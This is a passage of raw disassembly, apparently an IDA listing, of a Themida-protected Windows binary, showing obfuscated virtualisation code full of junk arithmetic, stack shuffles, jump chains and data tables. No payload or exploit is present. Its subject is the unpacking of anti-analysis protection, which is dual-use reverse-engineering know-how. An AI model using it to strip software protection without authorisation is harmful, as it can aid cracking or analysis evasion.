pop eax jmp loc_551E41 ; --------------------------------------------------------------------------- loc_55C8D6: ; CODE XREF: Themida_:005525E8j mov bl, 0FDh not bl and bl, 57h shr bl, 6 push ecx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax mov ah, 0AFh jmp loc_5520DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559F2D loc_55C8FB: ; CODE XREF: sub_559F2D+13j sub al, bl sub al, 76h jmp loc_55CF4E ; END OF FUNCTION CHUNK FOR sub_559F2D ; --------------------------------------------------------------------------- loc_55C904: ; CODE XREF: Themida_:0055C777j push esi mov esi, 25994133h shl esi, 7 or esi, 48A73382h push ebx push esi mov esi, 793F19F4h shl esi, 1 neg esi add esi, 504D6A2Ch jmp loc_55BBE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C929: ; CODE XREF: sub_556A70+2A69j mov ax, word ptr [esp-0Ah+arg_4+2] push ebx mov ebx, esp jmp loc_5518A1 ; --------------------------------------------------------------------------- loc_55C935: ; CODE XREF: sub_556A70-19A8j div cl movzx cx, ah push ebp mov ebp, esp jmp loc_55107A ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C943: ; CODE XREF: Themida_:0055B4B0j mov edx, [esp] jmp loc_558F47 ; --------------------------------------------------------------------------- loc_55C94B: ; CODE XREF: Themida_:00559748j add esp, 4 push ebx sub esp, 4 jmp loc_550E52 ; --------------------------------------------------------------------------- loc_55C95A: ; CODE XREF: Themida_:0055209Ej mov [esp], esi push eax mov eax, 46A6BD7h mov esi, 46A6BD9h sub esi, eax pop eax sub ebp, 64903E5Bh jmp loc_5586CB ; --------------------------------------------------------------------------- mov cx, [esp] push 789Eh jmp loc_558AD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C984: ; CODE XREF: sub_556A70-165j pop ebp and ebp, 74EF338Eh push eax mov eax, 298E040Bh xor eax, 7B0611B4h inc eax jmp loc_556FD5 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55C99C: ; CODE XREF: Themida_:00558C0Ej xor dh, 47h shr dh, 2 jmp loc_5531F3 ; --------------------------------------------------------------------------- loc_55C9A7: ; CODE XREF: Themida_:0055BFC8j mov [esp], edx push esp pop edx push edi jmp loc_555A50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5582B3 loc_55C9B2: ; CODE XREF: sub_5582B3+2433j add esi, edi pop edi add esi, 4 xchg esi, [esp+4+var_4] pop esp jmp loc_553517 ; END OF FUNCTION CHUNK FOR sub_5582B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C9C1: ; CODE XREF: sub_556A70+645j mov ebx, 24F75D55h jmp loc_555174 ; --------------------------------------------------------------------------- loc_55C9CB: ; CODE XREF: sub_556A70+1EF7j add eax, 1BE040E6h mov edi, [esp+0Ah+var_C+2] add esp, 4 xor eax, [esp+6+var_8+2] xor [esp+6+var_8+2], eax xor eax, [esp+6+var_8+2] jmp loc_5574BA ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- push 5D02h mov [esp], esi mov esi, 400h or [edi+1Ch], esi mov esi, [esp] jmp loc_552B29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55C9FC: ; CODE XREF: sub_556A70-1ECEj add ebp, eax pop eax xchg ebp, [esp-8+arg_4] jmp loc_5532A4 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5566B9 loc_55CA07: ; CODE XREF: sub_5566B9-1E81j mov eax, [esp+0Ch+var_C] jmp loc_559602 ; END OF FUNCTION CHUNK FOR sub_5566B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559F87 loc_55CA0F: ; CODE XREF: sub_559F87-85BAj add esp, 4 jmp loc_552267 ; END OF FUNCTION CHUNK FOR sub_559F87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CA1A: ; CODE XREF: sub_556A70+2EE0j push edx mov edx, 24487463h jmp loc_551244 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55CA25: ; CODE XREF: Themida_:0055BD19j mov ebp, 46DF201Ah push edi mov edi, 35F00716h jmp loc_550DE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CA35: ; CODE XREF: sub_556A70+1F2j add esi, 4 xchg esi, [esp-8+arg_4] pop esp push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp-8+arg_4] pop esp jmp loc_55CE5C ; --------------------------------------------------------------------------- loc_55CA51: ; CODE XREF: sub_556A70+F45j mov edi, esp add edi, 4 push ecx push eax mov eax, 12C7713Dh dec eax shr eax, 3 not eax jmp loc_55770B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55CA6B: ; CODE XREF: Themida_:0055966Cj push ebx push dword ptr [esp+4] jmp loc_552D07 ; --------------------------------------------------------------------------- loc_55CA75: ; CODE XREF: Themida_:00554E4Aj pop edi sub ecx, esi mov esi, [esp] add esp, 4 xor eax, ecx mov ecx, [esp] jmp loc_55C6AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_558AE7 loc_55CA8B: ; CODE XREF: sub_558AE7-4088j add esp, 4 jmp loc_555830 ; END OF FUNCTION CHUNK FOR sub_558AE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_55CA93: ; CODE XREF: sub_5584F8-7558j add [esp-4+arg_4], edx sub [esp-4+arg_4], 563C6DCFh pop edx mov eax, [esp-8+arg_4] jmp loc_552375 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CAA8: ; CODE XREF: sub_556A70+1BEFj and edi, 0B50AE2h dec edi push esi push ebp mov ebp, 0FFEC0005h mov esi, ebp pop ebp add edi, esi pop esi add eax, edi mov edi, [esp+10h+var_10] add esp, 4 jmp loc_55A113 ; --------------------------------------------------------------------------- loc_55CAC9: ; CODE XREF: sub_556A70+C96j xchg edi, [esp+10h+var_10] jmp loc_5557D3 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov ecx, [esp] push ebx push esp pop ebx push edi push esi jmp loc_556973 ; --------------------------------------------------------------------------- loc_55CADE: ; CODE XREF: Themida_:00558086j add edi, ebx jmp loc_5591F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55AE6E loc_55CAE5: ; CODE XREF: sub_55AE6E-1620j pop ax neg dl jmp loc_55B226 ; END OF FUNCTION CHUNK FOR sub_55AE6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_558D0E loc_55CAEE: ; CODE XREF: sub_558D0E+13j add ebp, 0EB80F484h mov edx, ebp mov ebp, [esp+0Ch+var_C] add esp, 4 or edx, 66C43759h push edi push ebx jmp loc_55133C ; END OF FUNCTION CHUNK FOR sub_558D0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CB0C: ; CODE XREF: sub_556A70+167Bj push esi mov esi, 4 add eax, esi pop esi push ecx push ebp mov ebp, 427D6FA0h jmp loc_55A12B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55CB21: ; CODE XREF: Themida_:0055C602j add eax, edi pop edi sub eax, edx jmp loc_557D2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552E24 loc_55CB2B: ; CODE XREF: sub_552E24+1j push 22B33A4Eh pop ebx jmp loc_55B0C8 ; END OF FUNCTION CHUNK FOR sub_552E24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5539DB loc_55CB36: ; CODE XREF: sub_5539DB-265Dj mov [esp+0Ch+var_C], esi push ebx push 414B076Fh jmp loc_5587AF ; END OF FUNCTION CHUNK FOR sub_5539DB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CB44: ; CODE XREF: sub_556A70-5A40j mov esi, ebp jmp loc_5563F1 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55A30D ; --------------------------------------------------------------------------- lodsb push bx mov bl, 0EBh sub al, bl jmp loc_550ADF ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_552F58 ; --------------------------------------------------------------------------- loc_55CB69: ; CODE XREF: Themida_:005559C0j add esp, 4 push edi mov edi, eax mov ebx, edi jmp loc_5590BA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5563FF loc_55CB76: ; CODE XREF: sub_5563FF+9j pop ebx xor ebp, [esp-4+arg_0] xor [esp-4+arg_0], ebp xor ebp, [esp-4+arg_0] mov esp, [esp-4+arg_0] imul cl movzx cx, ah push ecx mov ecx, esp add ecx, 4 sub esp, 4 jmp loc_55C6E0 ; END OF FUNCTION CHUNK FOR sub_5563FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CB9D: ; CODE XREF: sub_556A70+EFCj pop ebx add ebp, edx pop edx and eax, ebp push dword ptr [esp+0] mov ebp, [esp+4+var_4] jmp loc_55400C ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55CBAE: ; CODE XREF: Themida_:0055C469j neg edx sub edx, 0A5A97592h jmp loc_553EFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CBBB: ; CODE XREF: sub_556A70+2AAj mov ecx, 624162A5h sub edi, ecx pop ecx pop eax add edi, 3EF7630Bh add ebp, edi pop edi push ecx jmp loc_556CF1 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55CBD3: ; CODE XREF: Themida_:00550DF5j pop edx sub eax, edi add eax, 5CEC5F75h pop edi sub eax, ebp push ecx mov ecx, 6820380h jmp loc_55136E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CBE9: ; CODE XREF: sub_556A70-32Ej push eax jmp loc_5523AC ; --------------------------------------------------------------------------- loc_55CBEF: ; CODE XREF: sub_556A70+B69j push 5400h mov [esp-16h+arg_10+2], edx sub esp, 4 jmp loc_557996 ; --------------------------------------------------------------------------- loc_55CBFF: ; CODE XREF: sub_556A70+F06j xor ch, 0D1h sub ch, 7 shl ch, 4 push ebx mov bh, 75h shl bh, 2 dec bh or bh, 19h jmp loc_5550A1 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55CC18: ; CODE XREF: Themida_:0055BEE7j mov esi, 2 add eax, esi pop esi xchg eax, [esp] pop esp movsx cx, al push eax jmp loc_5541E2 ; --------------------------------------------------------------------------- loc_55CC2E: ; CODE XREF: Themida_:0055A325j mov edx, 38C35FEDh add edx, 0C82060h jmp loc_558B72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CC3E: ; CODE XREF: sub_556A70+3B1Fj neg edi jmp loc_556AD7 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55CC45: ; CODE XREF: Themida_:0055A961j push ebp mov ebp, 4 add eax, ebp mov ebp, [esp] add esp, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] jmp loc_5574AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CC69: ; CODE XREF: sub_556A70-3E1j idiv cl movzx cx, ah push small 4E1h mov word ptr [esp+0Eh+var_10+2], cx movzx cx, al push cx pushf jmp loc_55C1A2 ; --------------------------------------------------------------------------- loc_55CC83: ; CODE XREF: sub_556A70-2243j mov [esp-10h+arg_C], ebx mov ebx, 4 jmp loc_555530 ; END OF FUNCTION CHUNK FOR sub_556A70 ; =============== S U B R O U T I N E ======================================= sub_55CC90 proc near ; CODE XREF: sub_556A70-4B98j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005510C9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00552884 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00552FAD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005563DE SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0055887D SIZE 0000003F BYTES sub esp, 4 jmp loc_5563DE sub_55CC90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CC98: ; CODE XREF: sub_556A70+448Aj add esp, 4 push edx mov edx, 24756452h dec edx shr edx, 5 jmp loc_55680C ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55AE6E loc_55CCAA: ; CODE XREF: sub_55AE6E+1j mov bh, 0BBh not bh not bh not bh add bh, 0A5h jmp loc_55499E ; END OF FUNCTION CHUNK FOR sub_55AE6E ; --------------------------------------------------------------------------- loc_55CCBA: ; CODE XREF: Themida_:005534ACj add edi, 4 add edi, 4 jmp loc_558F0B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_55CCCB: ; CODE XREF: sub_5584F8-49ACj xor edx, 0CE15F3Dh xor edx, 78013835h mov ebx, edx pop edx jmp loc_55A8D0 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CCDF: ; CODE XREF: sub_556A70+2FEEj push 7512h jmp loc_55BB05 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55CCE9: ; CODE XREF: Themida_:0055261Dj mov ecx, 2 add edx, ecx jmp loc_556C44 ; --------------------------------------------------------------------------- loc_55CCF5: ; CODE XREF: Themida_:00555EC0j pop ecx xchg ebp, [esp] pop esp mov [esp], eax mov eax, 43090677h jmp loc_5562A1 ; --------------------------------------------------------------------------- loc_55CD07: ; CODE XREF: Themida_:00558746j mov ebp, esp push ecx mov ecx, 9E878ECh not ecx add ecx, 9E878F1h add ebp, ecx jmp loc_557DF9 ; --------------------------------------------------------------------------- loc_55CD1E: ; CODE XREF: Themida_:00551A2Cj add eax, 4 sub eax, 2 push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] jmp loc_553B0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_552E24 loc_55CD39: ; CODE XREF: sub_552E24-1F4Dj add ebp, ecx pop ecx mov ebx, ebp pop ebp jmp loc_559C8D ; END OF FUNCTION CHUNK FOR sub_552E24 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CD44: ; CODE XREF: sub_556A70+148j mov ecx, 0 mov ebp, ecx pop ecx sub esp, 4 mov [esp+24h+var_24], ebp mov ebx, [esp+24h+var_24] add esp, 4 pop ebp jmp loc_55339D ; --------------------------------------------------------------------------- loc_55CD61: ; CODE XREF: sub_556A70-32CAj xor dh, cl push [esp+4+var_4] pop ecx add esp, 4 xor al, dh jmp loc_555696 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55ABA3 loc_55CD74: ; CODE XREF: sub_55ABA3+Dj dec ebp push edx mov edx, 6C300F1Eh xor ebp, edx mov edx, [esp+8+var_8] jmp loc_550CE4 ; END OF FUNCTION CHUNK FOR sub_55ABA3 ; --------------------------------------------------------------------------- loc_55CD85: ; CODE XREF: Themida_:005535C6j add [esp], eax push eax push 39041E9Bh pop eax sub [esp+4], eax mov eax, [esp] add esp, 4 jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CD9E: ; CODE XREF: sub_556A70+542Fj add edi, 4EEE1766h pop ecx jmp loc_55B3C5 ; --------------------------------------------------------------------------- loc_55CDAA: ; CODE XREF: sub_556A70-46A3j sub dh, 8 jmp loc_550A58 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55CDB2: ; CODE XREF: Themida_:00550CDFj pop esp sub al, 84h sub al, bl add al, 84h push ebx mov bh, 0E6h not bh push eax mov al, 87h jmp loc_5550F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_553D17 loc_55CDC6: ; CODE XREF: sub_553D17-311Fj mov dl, 12h sub bl, dl pop edx jmp loc_5566D3 ; END OF FUNCTION CHUNK FOR sub_553D17 ; --------------------------------------------------------------------------- pop dword ptr [edx] jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55A6CD loc_55CDD7: ; CODE XREF: sub_55A6CD-DAFj xor ebp, 5DA67C9Bh jmp sub_558D0E ; END OF FUNCTION CHUNK FOR sub_55A6CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CDE2: ; CODE XREF: sub_556A70+3DEj mov edx, [esp+0] push edx mov edx, esp add edx, 4 jmp loc_55C4A8 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55CDF3: ; CODE XREF: Themida_:005583C4j add esi, 18C92C1Fh add esi, edx sub esi, 18C92C1Fh jmp loc_55A475 ; --------------------------------------------------------------------------- loc_55CE06: ; CODE XREF: Themida_:005538E3j mov [esp], eax jmp loc_55B1B7 ; --------------------------------------------------------------------------- push dword ptr [edi+2Ch] jmp loc_55BE76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CE16: ; CODE XREF: sub_556A70+B98j pop edi mov ebp, ecx pop ecx push [esp-22h+arg_1C+2] pop edx jmp loc_554C7C ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55CE23: ; CODE XREF: Themida_:0055A8CBj pop ecx add ebx, ebp pop ebp push edi mov edi, 2 jmp loc_55A4FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55B88F loc_55CE32: ; CODE XREF: sub_55B88F+Aj pop ecx pop [esp+4+var_4] pop esp test ecx, eax pushf jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_55B88F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55B730 loc_55CE3F: ; CODE XREF: sub_55B730-783Aj ; sub_553651+1663j push ecx push esp jmp loc_555ABB ; END OF FUNCTION CHUNK FOR sub_55B730 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CE46: ; CODE XREF: sub_556A70+363Fj xor eax, ebp jmp sub_5567EA ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_550A46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CE5C: ; CODE XREF: sub_556A70+5FDCj add esp, 4 jmp loc_55A724 ; --------------------------------------------------------------------------- loc_55CE67: ; CODE XREF: sub_556A70+4ADFj push dword ptr [eax] jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55CE6E: ; CODE XREF: Themida_:005588CAj neg edx shr edx, 4 add edx, 0FFCFC833h add eax, edx mov edx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_5580B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CE8C: ; CODE XREF: sub_556A70+3982j push ecx mov ecx, 2 add esi, ecx jmp loc_55977B ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- mov ax, [esp] push 2AFDh mov [esp], edx jmp loc_553AEA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CEAA: ; CODE XREF: sub_556A70+3118j add [esp-1Eh+arg_18+2], 4 pop edi push edx mov edx, 4 jmp loc_55259F ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55CEBA: ; CODE XREF: Themida_:00558273j mov ebp, [esp] push eax mov eax, esp jmp loc_553C73 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CEC5: ; CODE XREF: sub_556A70+410j shl dword ptr [esp+0], cl pushf jmp loc_550A46 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55CECE: ; CODE XREF: Themida_:00557E05j add eax, 1420253Eh jmp loc_55AD80 ; --------------------------------------------------------------------------- mov eax, [esp] jmp loc_5573F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CEE0: ; CODE XREF: sub_556A70+509Fj pop esi jmp loc_55C051 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- loc_55CEE6: ; CODE XREF: Themida_:005557BDj push edx push ebx push 6DB6h mov [esp], edi mov edi, 356BA5h xor edi, 4A6D7510h mov ebx, edi pop edi neg ebx add ebx, 4A581EB9h mov edx, ebx pop ebx add ebp, edx mov edx, [esp] add esp, 4 push ecx jmp loc_55742F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_556A70 loc_55CF17: ; CODE XREF: sub_556A70+2E22j neg di jmp loc_556EC6 ; END OF FUNCTION CHUNK FOR sub_556A70 ; --------------------------------------------------------------------------- db 66h dd 5124048Bh, 81E78957h, 4C7h, 4EF8100h, 87000000h, 0E95C243Ch dd 0FFFFDEAFh ; --------------------------------------------------------------------------- loc_55CF3C: ; CODE XREF: Themida_:0055B1DCj pop eax push ebx jmp loc_55A009 ; --------------------------------------------------------------------------- loc_55CF43: ; CODE XREF: Themida_:0055A4A4j push eax mov eax, 6E0741DDh jmp loc_556C38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_559F2D loc_55CF4E: ; CODE XREF: sub_559F2D+29D2j push [esp+4+var_4] jmp loc_5567C3 ; END OF FUNCTION CHUNK FOR sub_559F2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_558AE7 loc_55CF56: ; CODE XREF: sub_558AE7-960j mov eax, ebx jmp loc_554A45 ; END OF FUNCTION CHUNK FOR sub_558AE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_55CF5D: ; CODE XREF: sub_5584F8-2E7j push edx push 5B7B58E1h mov edx, [esp+0Ch+var_C] jmp loc_559213 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_55CF6B: ; CODE XREF: Themida_:0055B5A5j pop ebp jmp loc_559D19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5521AC loc_55CF71: ; CODE XREF: sub_5521AC+63ECj push edx mov dl, 9Fh add bl, dl pop edx jmp loc_559A78 ; END OF FUNCTION CHUNK FOR sub_5521AC ; --------------------------------------------------------------------------- loc_55CF7C: ; CODE XREF: Themida_:0055C5D4j pop edx mov ecx, [esp] add esp, 4 or bl, 0B1h inc bl and bl, 27h not bl or bl, 0BEh push edx mov dl, 6Ah sub dl, 0B0h add dl, 44h shr dl, 1 add dl, 19h jmp loc_558E76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5584F8 loc_55CFA6: ; CODE XREF: sub_5584F8+8DAj sub ecx, ebx pop ebx push edi mov edi, 1793530Ch and edi, 5EAE3578h inc edi jmp loc_55B8D9 ; END OF FUNCTION CHUNK FOR sub_5584F8 ; --------------------------------------------------------------------------- loc_55CFBB: ; CODE XREF: Themida_:00557BD2j pop edx xor eax, edi pop edi add edi, eax jmp loc_55A568 ; --------------------------------------------------------------------------- dw 304h dd 8B7FFEh, 69DD0000h, 59CB00A2h, 66030000h, 59CB005Bh dd 8BDF005Bh, 217FA40h, 20000h, 10000h, 20000h, 8BDF0000h dd 0FA40h, 4 dup(0) dd 0D5BB0000h, 4B970056h, 8FB90056h, 40A90056h, 1EDC0056h dd 0D5CC0056h, 26B0055h, 0C7A20056h, 4A1A0056h, 6A1B0056h dd 0A7A20056h, 9C90056h, 9CC30057h, 55E30056h, 70040056h dd 1870056h, 0E9B70056h, 0FB3F0055h, 17910055h, 0F3A30056h dd 6D930056h, 95F30056h, 242E0056h, 0EA810056h, 0F1F40056h dd 5FEF0055h, 2ECF0056h, 7E590056h, 16000056h, 0DB970057h dd 0EDF90055h, 718A0055h, 68550056h, 7C5A0056h, 0AF20056h dd 0F3180057h, 0BC3D0056h, 0D5550056h, 0E8A60055h, 0E100055h dd 251D0057h, 0ED930056h, 0F8690056h, 0C80F0056h, 4FA30056h dd 74840056h, 0B0110056h, 0E2120056h, 4CD50056h, 0DFB20056h dd 0C0E40056h, 5E580056h, 0C1B00056h, 184D0056h, 0A0300057h dd 0C9300056h, 256F0056h, 7A680056h, 29F50056h, 8680057h dd 6FF80056h, 3F8D0056h, 3C7A0056h, 8FA30056h, 0F7650056h dd 19F80055h, 0D59B0056h, 8590055h, 141E0056h, 2F880057h dd 3C600056h, 5E50056h, 13470057h, 0CBB30056h, 2E4F0056h dd 0D1A50056h, 16D90056h, 9AC80056h, 6E320056h, 1EFA0056h dd 0C080057h, 0B1780057h, 452D0056h, 5AAD0056h, 0D1360056h dd 0C10056h, 35E50057h, 19070056h, 412B0056h, 0B1DB0056h dd 0BF2D0056h, 6AB20056h, 93A50056h, 735A0056h, 24280056h dd 0FE6C0057h, 0A2540056h, 325E0056h, 68DE0056h, 0EDF20056h dd 208B0056h, 86F90056h, 23210056h, 0F0E20056h, 790E0056h dd 0C53A0056h, 0AB590056h, 62F00056h, 6FDE0056h, 18C20056h dd 0FB190057h, 126B0056h, 7ED80056h, 10C0056h, 77B90057h dd 70D20056h, 6F520056h, 453E0056h, 1DF20056h, 67220057h dd 0B94B0056h, 5B20056h, 15A90056h, 9DA20056h, 0AC7D0056h dd 83C0056h, 62E20057h, 14F50056h, 61A10057h, 8ED50056h dd 0F6A70056h, 0F63A0055h, 0FA630056h, 135A0055h, 9D9B0056h dd 55D40056h, 0E7FB0056h, 72F70055h, 5800056h, 14C0056h dd 0EF9F0057h, 48250055h, 3E410056h, 2F210056h, 0E2E30056h dd 0ECB20055h, 0D9F70056h, 14A70055h, 0F2870056h, 45600056h dd 170A0056h, 0A12E0056h, 1BFF0056h, 78D70056h, 50E00056h dd 0E8010056h, 51020055h, 0D8430056h, 63250056h, 0A3590056h dd 7D90056h, 0E3F60057h, 8F1B0056h, 0E72E0056h, 67760055h dd 3AD20056h, 56150056h db 56h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_55D2A6: ; CODE XREF: sub_59DB3D+123j ; sub_59DB3D+12Dj ... pusha pushf cld call $+5 pop edi sub edi, 61546CFh mov eax, edi add edi, 61543E7h cmp eax, [edi+2Ch] jnz short loc_55D2C4 jmp short loc_55D2D7 ; --------------------------------------------------------------------------- loc_55D2C4: ; CODE XREF: sub_59DB3D-4087Dj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_55D2D3 ; --------------------------------------------------------------------------- loc_55D2CE: ; CODE XREF: sub_59DB3D-40868j add [edi+ecx*4+40h], eax dec ecx loc_55D2D3: ; CODE XREF: sub_59DB3D-40871j or ecx, ecx jnz short loc_55D2CE loc_55D2D7: ; CODE XREF: sub_59DB3D-4087Bj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_55D2E4: ; CODE XREF: sub_59DB3D-40852j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_55D2E4 loc_55D2ED: ; CODE XREF: Themida_:0055D40Ej ; Themida_:loc_55D413j ... lodsb add al, 6Ch push ecx mov ch, 92h push edi mov edi, esp jmp loc_55F46F ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_55D2FB: ; CODE XREF: Themida_:00562A05j mov edi, 25AB21DBh mov ebx, edi mov edi, [esp] jmp loc_55EAE0 ; --------------------------------------------------------------------------- loc_55D30A: ; CODE XREF: Themida_:005727FEj push edi mov edi, 448742C3h and eax, edi jmp loc_570EB7 ; --------------------------------------------------------------------------- loc_55D317: ; CODE XREF: Themida_:00564FFEj mov ah, bh jmp loc_564035 ; --------------------------------------------------------------------------- loc_55D31E: ; CODE XREF: Themida_:0056E1A3j add esi, 2 xchg esi, [esp] jmp loc_56BF00 ; --------------------------------------------------------------------------- loc_55D329: ; CODE XREF: Themida_:00569365j sub esp, 4 mov [esp], edx jmp loc_55EF31 ; --------------------------------------------------------------------------- loc_55D334: ; CODE XREF: Themida_:0055E75Aj xor ecx, [esp] pop esp or eax, eax jz loc_563C3B push dword ptr [edi+1Ch] push esi mov esi, 18B74D08h jmp loc_569675 ; --------------------------------------------------------------------------- loc_55D34E: ; CODE XREF: Themida_:0056A6B7j mov [esp], ebx mov bh, cl push eax jmp loc_5611BB ; --------------------------------------------------------------------------- loc_55D359: ; CODE XREF: Themida_:00571618j add edx, 4 xchg edx, [esp] jmp loc_560224 ; --------------------------------------------------------------------------- loc_55D364: ; CODE XREF: Themida_:0056C1A4j push ebp mov ebp, esp push edx mov edx, 5A7239E0h jmp loc_5724F0 ; --------------------------------------------------------------------------- loc_55D372: ; CODE XREF: Themida_:0055F1B8j add esp, 4 pop edx mov ecx, [esp] add esp, 4 add al, bl mov 